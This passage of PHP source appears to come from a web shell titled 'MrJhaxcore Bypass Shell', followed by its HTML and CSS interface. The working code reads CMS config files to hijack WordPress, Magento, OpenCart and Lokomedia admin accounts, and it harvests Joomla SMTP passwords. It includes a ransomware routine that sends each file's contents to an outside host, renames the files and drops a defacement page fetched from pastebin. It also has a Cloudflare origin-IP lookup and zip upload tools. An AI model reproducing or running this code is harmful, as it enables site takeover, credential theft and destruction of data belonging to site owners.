target=\'_blank\'><u>$target/wp-login.php</u></a><br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET user_login=\'$user_baru\',user_pass=\'$pass_baru\' WHERE id=\'$id\'");\r\n\t\t\t\t\techo "Config => ".$file_conf."<br>";\r\n\t\t\t\t\techo "CMS => Wordpress<br>";\r\n\t\t\t\t\techo $url_target;\r\n\t\t\t\t\tif(!$update OR !$conn OR !$db){\r\n\t\t\t\t\t\techo "Status => <font color=red>".mysql_Error()."</font><br><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo "Status => <font color=lime>Success, Please login with a new User & Password.</font><br><br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close($conn);\r\n\t\t\t\t}elseif(preg_match("/Magento|Mage_Core/",$config)){\r\n\t\t\t\t\t$dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");\r\n\t\t\t\t\t$dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");\r\n\t\t\t\t\t$dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");\r\n\t\t\t\t\t$dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");\r\n\t\t\t\t\t$dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");\r\n\t\t\t\t\t$prefix = $dbprefix."admin_user";\r\n\t\t\t\t\t$option = $dbprefix."core_config_data";\r\n\t\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\r\n\t\t\t\t\t$db = mysql_select_db($dbname);\r\n\t\t\t\t\t$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");\r\n\t\t\t\t\t$result = mysql_fetch_array($q);\r\n\t\t\t\t\t$id = $result[user_id];\r\n\t\t\t\t\t$q2 = mysql_query("SELECT * FROM $option WHERE path=\'web/secure/base_url\'");\r\n\t\t\t\t\t$result2 = mysql_fetch_array($q2);\r\n\t\t\t\t\t$target = $result2[value];\r\n\t\t\t\t\tif($target == \'\'){\r\n\t\t\t\t\t\t$url_target = "Login => <font color=red>Error, Could not retrieve the domain name</font><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$url_target = "Login => <a href=\'$target/admin/\' target=\'_blank\'><u>$target/admin/</u></a><br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE user_id=\'$id\'");\r\n\t\t\t\t\techo "Config => ".$file_conf."<br>";\r\n\t\t\t\t\techo "CMS => Magento<br>";\r\n\t\t\t\t\techo $url_target;\r\n\t\t\t\t\tif(!$update OR !$conn OR !$db){\r\n\t\t\t\t\t\techo "Status => <font color=red>".mysql_Error()."</font><br><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo "Status => <font color=lime>Success, Please login with a new User & Password.</font><br><br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close($conn);\r\n\t\t\t\t}elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)){\r\n\t\t\t\t\t$dbhost = ambilkata($config,"\'DB_HOSTNAME\', \'","\'");\r\n\t\t\t\t\t$dbuser = ambilkata($config,"\'DB_USERNAME\', \'","\'");\r\n\t\t\t\t\t$dbpass = ambilkata($config,"\'DB_PASSWORD\', \'","\'");\r\n\t\t\t\t\t$dbname = ambilkata($config,"\'DB_DATABASE\', \'","\'");\r\n\t\t\t\t\t$dbprefix = ambilkata($config,"\'DB_PREFIX\', \'","\'");\r\n\t\t\t\t\t$prefix = $dbprefix."user";\r\n\t\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\r\n\t\t\t\t\t$db = mysql_select_db($dbname);\r\n\t\t\t\t\t$q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");\r\n\t\t\t\t\t$result = mysql_fetch_array($q);\r\n\t\t\t\t\t$id = $result[user_id];\r\n\t\t\t\t\t$target = ambilkata($config,"HTTP_SERVER\', \'","\'");\r\n\t\t\t\t\tif($target == \'\'){\r\n\t\t\t\t\t\t$url_target = "Login => <font color=red>Error, Could not retrieve the domain name</font><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$url_target = "Login => <a href=\'$target\' target=\'_blank\'><u>$target</u></a><br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE user_id=\'$id\'");\r\n\t\t\t\t\techo "Config => ".$file_conf."<br>";\r\n\t\t\t\t\techo "CMS => OpenCart<br>";\r\n\t\t\t\t\techo $url_target;\r\n\t\t\t\t\tif(!$update OR !$conn OR !$db){\r\n\t\t\t\t\t\techo "Status => <font color=red>".mysql_Error()."</font><br><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo "Status => <font color=lime>Success, Please log in with the new User & Password.</font><br><br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close($conn);\r\n\t\t\t\t}elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)){\r\n\t\t\t\t\t$dbhost = ambilkata($config,\'server = "\',\'"\');\r\n\t\t\t\t\t$dbuser = ambilkata($config,\'username = "\',\'"\');\r\n\t\t\t\t\t$dbpass = ambilkata($config,\'password = "\',\'"\');\r\n\t\t\t\t\t$dbname = ambilkata($config,\'database = "\',\'"\');\r\n\t\t\t\t\t$prefix = "users";\r\n\t\t\t\t\t$option = "identity";\r\n\t\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\r\n\t\t\t\t\t$db = mysql_select_db($dbname);\r\n\t\t\t\t\t$q = mysql_query("SELECT * FROM $option ORDER BY id_identity ASC");\r\n\t\t\t\t\t$result = mysql_fetch_array($q);\r\n\t\t\t\t\t$target = $result[alamat_website];\r\n\t\t\t\t\tif($target == \'\'){\r\n\t\t\t\t\t\t$target2 = $result[url];\r\n\t\t\t\t\t\t$url_target = "Login => <font color=red>Error, Could not retrieve the domain name</font><br>";\r\n\t\t\t\t\t\tif($target2 == \'\'){\r\n\t\t\t\t\t\t\t$url_target2 = "Login => <font color=red>Error, Could not retrieve the domain name</font><br>";\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$cek_login3 = file_get_contents("$target2/adminweb/");\r\n\t\t\t\t\t\t\t$cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");\r\n\t\t\t\t\t\t\tif(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)){\r\n\t\t\t\t\t\t\t\t$url_target2 = "Login => <a href=\'$target2/adminweb\' target=\'_blank\'><u>$target2/adminweb</u></a><br>";\r\n\t\t\t\t\t\t\t}elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)){\r\n\t\t\t\t\t\t\t\t$url_target2 = "Login => <a href=\'$target2/lokomedia/adminweb\' target=\'_blank\'><u>$target2/lokomedia/adminweb</u></a><br>";\r\n\t\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t\t$url_target2 = "Login => <a href=\'$target2\' target=\'_blank\'><u>$target2</u></a> [ <font color=red>or admin login where is it</font> ]<br>";\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$cek_login = file_get_contents("$target/adminweb/");\r\n\t\t\t\t\t\t$cek_login2 = file_get_contents("$target/lokomedia/adminweb/");\r\n\t\t\t\t\t\tif(preg_match("/CMS Lokomedia|Administrator/", $cek_login)){\r\n\t\t\t\t\t\t\t$url_target = "Login => <a href=\'$target/adminweb\' target=\'_blank\'><u>$target/adminweb</u></a><br>";\r\n\t\t\t\t\t\t}elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)){\r\n\t\t\t\t\t\t\t$url_target = "Login => <a href=\'$target/lokomedia/adminweb\' target=\'_blank\'><u>$target/lokomedia/adminweb</u></a><br>";\r\n\t\t\t\t\t\t}else{\r\n\t\t\t\t\t\t\t$url_target = "Login => <a href=\'$target\' target=\'_blank\'><u>$target</u></a> [ <font color=red>Or admin login where is it</font> ]<br>";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$update = mysql_query("UPDATE $prefix SET username=\'$user_baru\',password=\'$pass_baru\' WHERE level=\'admin\'");\r\n\t\t\t\t\techo "Config => ".$file_conf."<br>";\r\n\t\t\t\t\techo "CMS => Lokomedia<br>";\r\n\t\t\t\t\tif(preg_match(\'/Error, Could not retrieve the domain name./\', $url_target)){\r\n\t\t\t\t\t\techo $url_target2;\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo $url_target;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(!$update OR !$conn OR !$db){\r\n\t\t\t\t\t\techo "Status => <font color=red>".mysql_Error()."</font><br><br>";\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\techo "Status => <font color=lime>Success, You can now login :\\</font><br><br>";\r\n\t\t\t\t\t}\r\n\t\t\t\t\tmysql_close($conn);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}else{\r\n\t\techo "<h3 class=\'text-center mb-4\'>Auto Edit User</h3>\r\n\t\t<form method=\'post\'>\r\n\t\t\t<h5>DIR Location Config</h5>\r\n\t\t\t<input type=\'text\' class=\'form-control mb-3\' name=\'config_dir\' value=\'$dir\'>\r\n\t\t\t<h5>Set User & Pass :</h5>\r\n\t\t\t<input type=\'text\' name=\'user_baru\' value=\'AnonPrixor\' class=\'form-control mb-3\' placeholder=\'Set Username\'>\r\n\t\t\t<input type=\'text\' name=\'pass_baru\' value=\'AnonPrixor\' class=\'form-control mb-4\' placeholder=\'Set Password\'>\r\n\t\t\t<input type=\'submit\' name=\'hajar\' value=\'Edit User\' class=\'btn btn-danger btn-block\'>\r\n\t\t</form>\r\n\t\t<p class=\'text-muted mb-4\'>This tool works if it is run, in the config folder <u>config</u> ( ex: /home/user/public_html/name_folder_config )</p>";\r\n\t}\r\n\texit;\r\n}\r\nfunction ransom($dir,$file){\r\n\tif(isset($_POST["encrypt"])) {\r\n\t\t$dir = $_POST["path"];\r\n\t\techo"<textarea class=\'form-control mb-4\' rows=\'13\' disabled=\'\'>";\r\n\t\tfunction listFolderFiles($dir){\r\n\t\t\tif (is_dir($dir)) {\r\n\t\t\t\t$ffs = scandir($dir);\r\n\t\t\t\tunset($ffs[array_search(\'.\', $ffs, true)]);\r\n\t\t\t\tunset($ffs[array_search(\'..\', $ffs, true)]);\r\n\t\t\t\tif (count($ffs) < 1)\r\n\t\t\t\treturn;\r\n\t\t\t\tforeach($ffs as $ff){\r\n\t\t\t\t\t$files = $dir."/".$ff;\r\n\t\t\t\t\tif(!is_dir($files)){\r\n\t\t\t\t\t\t/* encrypt file */\r\n\t\t\t\t\t\t$file = file_get_contents($files);\r\n\t\t\t\t\t\t$_a = base64_encode($file);\r\n\t\t\t\t\t\t/* proses curl */\r\n\t\t\t\t\t\t$ch = curl_init();\r\n\t\t\t\t\t\tcurl_setopt($ch, CURLOPT_URL, \'http://encrypt.indsc.me/api.php?type=encrypt\');\r\n\t\t\t\t\t\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\t\t\t\t\t\tcurl_setopt($ch, CURLOPT_POSTFIELDS, "text=$_a");\r\n\t\t\t\t\t\t$x = json_decode(curl_exec($ch));\r\n\t\t\t\t\t\tif($x->status == \'Success\'){\r\n\t\t\t\t\t\t\t$_enc = base64_decode($x->data);\r\n\t\t\t\t\t\t\trename($files, $files. ".indsc");\r\n\t\t\t\t\t\t\techo "[+]$files => Success Encrypted\\n";\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(is_dir($dir.\'/\'.$ff)) listFolderFiles($dir.\'/\'.$ff);\r\n\t\t\t\t}\r\n\t\t\t\t$index = file_get_contents(\'https://pastebin.com/raw/aGZ6BeTH\');\r\n\t\t\t\t$_o = fopen($dir."/index.html", "w");\r\n\t\t\t\tfwrite($_o, $index);\r\n\t\t\t\tfclose($_o);\r\n\t\t\t\techo "\\n[+] Done !";\r\n\t\t\t}else{\r\n\t\t\t\techo "\\nBukan dir";\r\n\t\t\t}\r\n\t\t}\r\n\t\tlistFolderFiles($dir);\r\n\t\techo "</textarea><br/>";\r\n\t}else{\r\n\t\techo \'<form method="post">\r\n\t\t\t<div class="form-group">\r\n\t\t\t\t<h4 class="text-center mb-4"><i class="fa fa-lock"></i> Ransomware</h4>\r\n\t\t\t\t<label>Pilih Directory :</label>\r\n\t\t\t\t<div class="form-group input-group">\r\n\t\t\t\t\t<div class="input-group-prepend">\r\n\t\t\t\t\t\t<div class="input-group-text"><i class="fa fa-home"></i></div>\r\n\t\t\t\t\t</div>\r\n\t\t\t\t\t<input type="text" name="path" class="form-control" value="\'.$dir.\'"/>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type="submit" name="encrypt" class="btn btn-danger btn-block" value="Encrypt"/>\r\n\t\t\t</div>\r\n\t\t</form>\';\r\n\t}\r\n\texit;\r\n}\r\nfunction scj($dir){\r\n\t$dirs = scandir($dir);\r\n\tforeach($dirs as $dirb){\r\n\t\tif(!is_file("$dir/$dirb")) continue;\r\n\t\t$ambil = file_get_contents("$dir/$dirb");\r\n\t\t$ambil = str_replace("$", "", $ambil);\r\n\t\tif(preg_match("/JConfig|joomla/", $ambil)){\r\n\t\t\t$smtp_host = ambilkata($ambil,"smtphost = \'","\'");\r\n\t\t\t$smtp_auth = ambilkata($ambil,"smtpauth = \'","\'");\r\n\t\t\t$smtp_user = ambilkata($ambil,"smtpuser = \'","\'");\r\n\t\t\t$smtp_pass = ambilkata($ambil,"smtppass = \'","\'");\r\n\t\t\t$smtp_port = ambilkata($ambil,"smtpport = \'","\'");\r\n\t\t\t$smtp_secure = ambilkata($ambil,"smtpsecure = \'","\'");\r\n\t\t\techo "<table class=\'text-white table table-bordered\'>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Host: $smtp_host</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Port: $smtp_port</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP User: $smtp_user</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Pass: $smtp_pass</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Auth: $smtp_auth</td>\r\n\t\t\t\t</tr>\r\n\t\t\t\t<tr>\r\n\t\t\t\t\t<td>SMTP Secure: $smtp_secure</td>\r\n\t\t\t\t</tr>\r\n\t\t\t</table>";\r\n\t\t}\r\n\t}\r\n\techo "<p class=\'text-muted\'>NB: This tool works if it\'s run in a folder <u>config</u> ( ex: /home/user/public_html/namafolder_config )</p>";\r\n\texit;\r\n}\r\nfunction bypasscf(){\r\n\techo \'<form method="POST">\r\n\t\t<h5 class="text-center mb-3">Bypass Cloud Flare</h5>\r\n\t\t<div class="form-group input-group">\r\n\t\t\t<select class="form-control" name="idsPilih">\r\n\t\t\t\t<option>Choose Methods</option>\r\n\t\t\t\t<option>ftp</option>\r\n\t\t\t\t<option>direct-conntect</option>\r\n\t\t\t\t<option>webmail</option>\r\n\t\t\t\t<option>cpanel</option>\r\n\t\t\t</select>\r\n\t\t</div>\r\n\t\t<div class="form-group input-group mb-4">\r\n\t\t\t<input class="form-control" type="text" name="target" placeholder="Target URL">\r\n\t\t\t<input class="btn btn-danger form-control" type="submit" value="Bypass">\r\n\t\t</div>\r\n\t</form>\';\r\n\t$target = $_POST[\'target\'];\r\n\tif($_POST[\'idsPilih\'] == "ftp"){\r\n\t\t$ftp = gethostbyname("ftp."."$target");\r\n\t\techo "<p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'3\' color=\'#00ff00\'>Correct \r\n\t\tip is : </font><font face=\'Tahoma\' size=\'3\' color=\'#F68B1F\'>$ftp</font></p>";\r\n\t}\r\n\tif($_POST[\'idsPilih\'] == "direct-conntect"){\r\n\t\t$direct = gethostbyname("direct-connect."."$target");\r\n\t\techo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'3\' color=\'#00ff00\'>Correct \r\n\t\tip is : </font><font face=\'Tahoma\' size=\'3\' color=\'#F68B1F\'>$direct</font></p>";\r\n\t}\r\n\tif($_POST[\'idsPilih\'] == "webmail"){\r\n\t\t$web = gethostbyname("webmail."."$target");\r\n\t\techo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'3\' color=\'#00ff00\'>Correct \r\n\t\tip is : </font><font face=\'Tahoma\' size=\'3\' color=\'#F68B1F\'>$web</font></p>";\r\n\t}\r\n\tif($_POST[\'idsPilih\'] == "cpanel"){\r\n\t\t$cpanel = gethostbyname("cpanel."."$target");\r\n\t\techo "<br><p align=\'center\' dir=\'ltr\'><font face=\'Tahoma\' size=\'3\' color=\'#00ff00\'>Correct \r\n\t\tip is : </font><font face=\'Tahoma\' size=\'3\' color=\'#F68B1F\'>$cpanel</font></p>";\r\n\t}\r\n\texit;\r\n}\r\nfunction zipMenu($dir,$file){\r\n\t//Compress/Zip\r\n\t$exzip = basename($dir).\'.zip\';\r\n\tfunction Zip($source, $destination){\r\n\t\tif (extension_loaded(\'zip\') === true){\r\n\t\t\tif (file_exists($source) === true){\r\n\t\t\t\t$zip = new ZipArchive();\r\n\t\t\t\tif ($zip->open($destination, ZIPARCHIVE::CREATE) === true){\r\n\t\t\t\t\t$source = realpath($source);\r\n\t\t\t\t\tif (is_dir($source) === true){\r\n\t\t\t\t\t\t$files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);\r\n\t\t\t\t\t\tforeach ($files as $file){\r\n\t\t\t\t\t\t\t$file = realpath($file);\r\n\t\t\t\t\t\t\tif (is_dir($file) === true){\r\n\t\t\t\t\t\t\t\t// $zip->addEmptyDir(str_replace($source . \'/\', \'\', $file . \'/\'));\r\n\t\t\t\t\t\t\t}elseif(is_file($file) === true){\r\n\t\t\t\t\t\t\t\t$zip->addFromString(str_replace($source . \'/\', \'\', $file), file_get_contents($file));\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}elseif(is_file($source) === true){\r\n\t\t\t\t\t\t$zip->addFromString(basename($source), file_get_contents($source));\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\treturn @$zip->close();\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn false;\r\n\t}\r\n\t//Extract/Unzip\r\n\tfunction Zip_Extrack($zip_files, $to_dir){\r\n\t\t$zip = new ZipArchive();\r\n\t\t$res = $zip->open($zip_files);\r\n\t\tif ($res === TRUE){\r\n\t\t\t$name = basename($zip_files, ".zip")."_unzip";\r\n\t\t\t@mkdir($name);\r\n\t\t\t@$zip->extractTo($to_dir."/".$name); \r\n\t\t\treturn @$zip->close();\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}\r\n\techo \'<div class="card card-body text-dark mb-4">\r\n\t\t<h4 class="text-center">Zip Menu</h3>\r\n\t\t<form enctype="multipart/form-data" method="post">\r\n\t\t\t<div class="form-group">\r\n\t\t\t\t<label>Zip File:</label>\r\n\t\t\t\t<div class="custom-file">\r\n\t\t\t\t\t<input type="file" name="zip_file" class="custom-file-input" id="customFile">\r\n\t\t\t\t\t<label class="custom-file-label" for="customFile">Choose file</label>\r\n\t\t\t\t</div>\r\n\t\t\t\t<input type="submit" name="upnun" class="btn btn-danger btn-block mt-3" value="Upload & Unzip"/>\r\n\t\t\t</div>\r\n\t\t</form>\';\r\n\t\tif($_POST["upnun"]){\r\n\t\t\t$filename = $_FILES["zip_file"]["name"];\r\n\t\t\t$tmp = $_FILES["zip_file"]["tmp_name"];\r\n\t\t\tif(move_uploaded_file($tmp, "$dir/$filename")){\r\n\t\t\t\techo Zip_Extrack($filename, $dir);\r\n\t\t\t\tunlink($filename);\r\n\t\t\t\t$swa = "Success";\r\n\t\t\t\t$text = "Extract Zip Successfully";\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}else{\r\n\t\t\t\techo "<b>Failed</b>";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "<div class=\'row\'><div class=\'col-md-6 mb-3\'><h5>Zip Backup</h5>\r\n\t\t<form method=\'post\'>\r\n\t\t\t<label>Folder</label>\r\n\t\t\t<input type=\'text\' name=\'folder\' class=\'form-control mb-3\' value=\'$dir\'>\r\n\t\t\t<input type=\'submit\' name=\'backup\' class=\'btn btn-danger btn-block\' value=\'Backup!\'>\r\n\t\t</form>";\r\n\t\tif($_POST[\'backup\']){\r\n\t\t\t$fol = $_POST[\'folder\'];\r\n\t\t\tif(Zip($fol, $_POST["folder"].\'/\'.$exzip)){\r\n\t\t\t\t$swa = "Success";\r\n\t\t\t\t$text = "Successfully Zipped";\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}else{\r\n\t\t\t\techo "<b>Failed</b>";\r\n\t\t\t}\r\n\t\t}\r\n\t\techo "</div>\r\n\t\t<div class=\'col-md-6\'><h5>Unzip Manual</h5>\r\n\t\t<form action=\'\' method=\'post\'>\r\n\t\t\t<label>Zip Location:</label>\r\n\t\t\t<input type=\'text\' name=\'file_zip\' class=\'form-control mb-3\' value=\'$dir/$exzip\'>\r\n\t\t\t<input type=\'submit\' name=\'extrak\' class=\'btn btn-danger btn-block\' value=\'Unzip!\'>\r\n\t\t</form>";\r\n\t\tif($_POST[\'extrak\']){\r\n\t\t\t$zip = $_POST["file_zip"];\r\n\t\t\tif (Zip_Extrack($zip, $dir)){\r\n\t\t\t\t$swa = "Success";\r\n\t\t\t\t$text = "Extract Zip Successfully";\r\n\t\t\t\tswall($swa,$text,$dir);\r\n\t\t\t}else{\r\n\t\t\t\techo "<b>Failed</b>";\r\n\t\t\t}\r\n\t\t}\r\n\techo \'</div></div></div>\';\r\n}\r\n?>\r\n<html>\r\n\t<head>\r\n\t\t<meta name="viewport" content="widht=device-widht, initial-scale=1"/>\r\n\t\t<meta name="theme-color" content="#343a40"/>\r\n\t\t<meta name="author" content="Holiq"/>\r\n\t\t<meta name="copyright" content="{ AngkolVen }"/>\r\n\t\t<link rel="icon" type="image/png" href="https://webstockreview.net/images/clipart-arrows-bone-8.png"/>\r\n\t\t<title>{ MrJhaxcore Bypass Shell }</title>\r\n\t\t<link rel="stylesheet" href="pojan/assets/css/bootstrap.min.css">\r\n\t\t<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>\r\n\t\t<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.min.css"/>\r\n\t\t<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"/>\r\n\t\t<script src="https://code.jquery.com/jquery-3.3.1.js"></script>\r\n\t\t<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>\r\n\t\t<script src="https://cdn.jsdelivr.net/npm/sweetalert2@8.18.0/dist/sweetalert2.all.min.js"></script>\r\n\t</head>\r\n\t<body class="bg-dark text-light">\r\n\t\t<script>\r\n\t\t\t$(document).ready(function(){\r\n\t\t\t\t$(window).scroll(function(){\r\n\t\t\t\t\tif ($(this).scrollTop() > 700){\r\n\t\t\t\t\t\t$(".scrollToTop").fadeIn();\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\t$(".scrollToTop").fadeOut();\r\n\t\t\t\t\t}\r\n\t\t\t\t});\r\n\t\t\t\t$(".scrollToTop").click(function(){\r\n\t\t\t\t\t$("html, body").animate({scrollTop : 0},1000);\r\n\t\t\t\t\treturn false;\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t\t$(document).ready(function(){\r\n\t\t\t\t$(\'input[type="file"]\').on("change", function(){\r\n\t\t\t\t\tlet filenames = [];\r\n\t\t\t\t\tlet files = document.getElementById("customFile").files;\r\n\t\t\t\t\tif (files.length > 1){\r\n\t\t\t\t\t\tfilenames.push("Total Files (" + files.length + ")");\r\n\t\t\t\t\t}else{\r\n\t\t\t\t\t\tfor (let i in files){\r\n\t\t\t\t\t\t\tif (files.hasOwnProperty(i)){\r\n\t\t\t\t\t\t\t\tfilenames.push(files[i].name);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\t$(this).next(".custom-file-label").html(filenames.join(","));\r\n\t\t\t\t});\r\n\t\t\t});\r\n\t\t\tvar max_fields = 5;\r\n\t\t\tvar x = 1;\r\n\t\t\t$(document).on(\'click\', \'#add_input\', function(e){\r\n\t\t\t\tif(x < max_fields){\r\n\t\t\t\t\tx++;\r\n\t\t\t\t\t$(\'#output\').append(\'<div class=\\"input-group\\ form-group\\ text-dark\\" id=\\"out\\"><input type=\\"text\\" class=\\"form-control\\" name=\\"nama_file[]\\" placeholder=\\"Name File...\\"><div class=\\"input-group-prepend\\ remove\\"><div class=\\"input-group-text\\"><a href="#" class="text-dark"><i class=\\"fa fa-minus\\"></i></a></div></div></div>\');\r\n\t\t\t\t}\r\n\t\t\t\t$(\'#output\').on("click",".remove", function(e){\r\n\t\t\t\t\te.preventDefault(); $(this).parent(\'#out\').remove(); x--;\r\n\t\t\t\t\trepeat();\r\n\t\t\t\t})\r\n\t\t\t});\r\n\t\t\t$(document).on(\'click\', \'#add_input1\', function(e){\r\n\t\t\t\tif(x < max_fields){\r\n\t\t\t\t\tx++;\r\n\t\t\t\t\t$(\'#output1\').append(\'<div class=\\"input-group\\ form-group\\ text-dark\\" id=\\"out\\"><input type=\\"text\\" class=\\"form-control\\" name=\\"nama_folder[]\\" placeholder=\\"Nama Folder...\\"><div class=\\"input-group-prepend\\ remove\\"><div class=\\"input-group-text\\"><a href="#" class="text-dark"><i class=\\"fa fa-minus\\"></i></a></div></div></div>\');\r\n\t\t\t\t}\r\n\t\t\t\t$(\'#output1\').on("click",".remove", function(e){\r\n\t\t\t\t\te.preventDefault(); $(this).parent(\'#out\').remove(); x--;\r\n\t\t\t\t\trepeat();\r\n\t\t\t\t})\r\n\t\t\t});\r\n\t\t\t\r\n\t\t</script>\r\n\t\t<style>\r\n\t\t\t@import url(https://fonts.googleapis.com/css?family=Lato);\r\n\t\t\t@import url(https://fonts.googleapis.com/css?family=Quicksand);\r\n\t\t\t@import url(https://fonts.googleapis.com/css?family=Inconsolata);\r\n\t\t\t@media(min-width:767px){.scrollToTop{display:none !important;}}\r\n\t\t\t@media(max-width:767px){textarea{font-size:13px !important;}}\r\n\t\t\tinput[type="text"],textarea {font-family: "Inconsolata", monospace;}\r\n\t\t\tbody{margin:0;padding:0;font-family:"Lato";overscroll-behavior:none;}\r\n\t\t\t.infor{font-size:14px;color:#333!important;}\r\n\t\t\t.ds{color:#f00!important;word-wrap:break-word;}\r\n\t\t\t#tab table thead th{padding:5px;font-size:16px;white-space: nowrap;}\r\n\t\t\t#tab tr {border-bottom:1px solid #ccc;}\r\n\t\t\t#tab tr:hover{background:#5B6F7D;color:#fff;}\r\n\t\t\t#tab tr td{padding:5px 10px;white-space:nowrap;}\r\n\t\t\t.pinggir{text-align:left !important; padding-left: 4px !important;}\r\n\t\t\t#tab tr td .badge{font-size:13px;}\r\n\t\t\t.active,.active:hover{color:#00FF00;}\r\n\t\t\ta {font-family:"Quicksand"; color:white;}\r\n\t\t\ta:hover{color:dodgerBlue;}\r\n\t\t\t.badge{width:30px;transition:.3s;}\r\n\t\t\t.badge:hover{transform: scale(1.1);transition:.3s;}\r\n\t\t\t.ico {width:25px;}\r\n\t\t\t.ico2{width:30px;}\r\n\t\t\t.scrollToTop{\r\n\t\t\t\tposition:fixed;\r\n\t\t\t\tbottom:30px;\r\n\t\t\t\tright:30px;\r\n\t\t\t\twidth:35px;\r\n\t\t\t\theight:35px;\r\n\t\t\t\tbackground:#262626;\r\n\t\t\t\tcolor:#fff;\r\n\t\t\t\tborder-radius:15%;\r\n\t\t\t\ttext-align:center;\r\n\t\t\t\topacity:.5;\r\n\t\t\t}\r\n\t\t\t.scrollToTop:hover{color:#fff;}\r\n\t\t\t.up{font-size:25px;line-height:35px;}\r\n\t\t\t.lain{color:#888888;font-size:20px;margin-left:5px;top:1px;}\r\n\t\t\t.lain:hover{color:#fff;}\r\n\t\t\t.tambah{\r\n\t\t\t\twidth:35px;\r\n\t\t\t\theight:35px;\r\n\t\t\t\tline-height:35px;\r\n\t\t\t\tborder:1px solid;\r\n\t\t\t\tborder-radius:50%;\r\n\t\t\t\ttext-align:center;\r\n\t\t\t}\r\n\t\t\t.fiture{margin:3px;}\r\n\t\t\t.tmp th {font-size:14px;}\r\n\t\t\t.tmp tr td{border:solid 1px #BBBBBB;text-align:center;font-size:13px;padding:2px 5px;}\r\n\t\t\t.tmp tr:hover{background:#5B6F7D; color:#fff;}\r\n\t\t\t.about{color:#000;}\r\n\t\t\t.about .card-body .img{\r\n\t\t\t\tposition: relative;\r\n\t\t\t\tbackground: url(https://i.postimg.cc/Wb1X4xNS/image.png);\r\n\t\t\t\tbackground-size: cover;\r\n\t\t\t\twidth: 150px;\r\n\t\t\t\theight: 150px;\r\n\t\t\t}\r\n\t\t\t.butn {\r\n\t\t\t\tposition: relative;\r\n\t\t\t\ttext-align: center;\r\n\t\t\t\tpadding: 3px;\r\n\t\t\t\tbackground:rgba(225,225,225,.3);\r\n\t\t\t\t-webkit-transition: background 300ms ease, 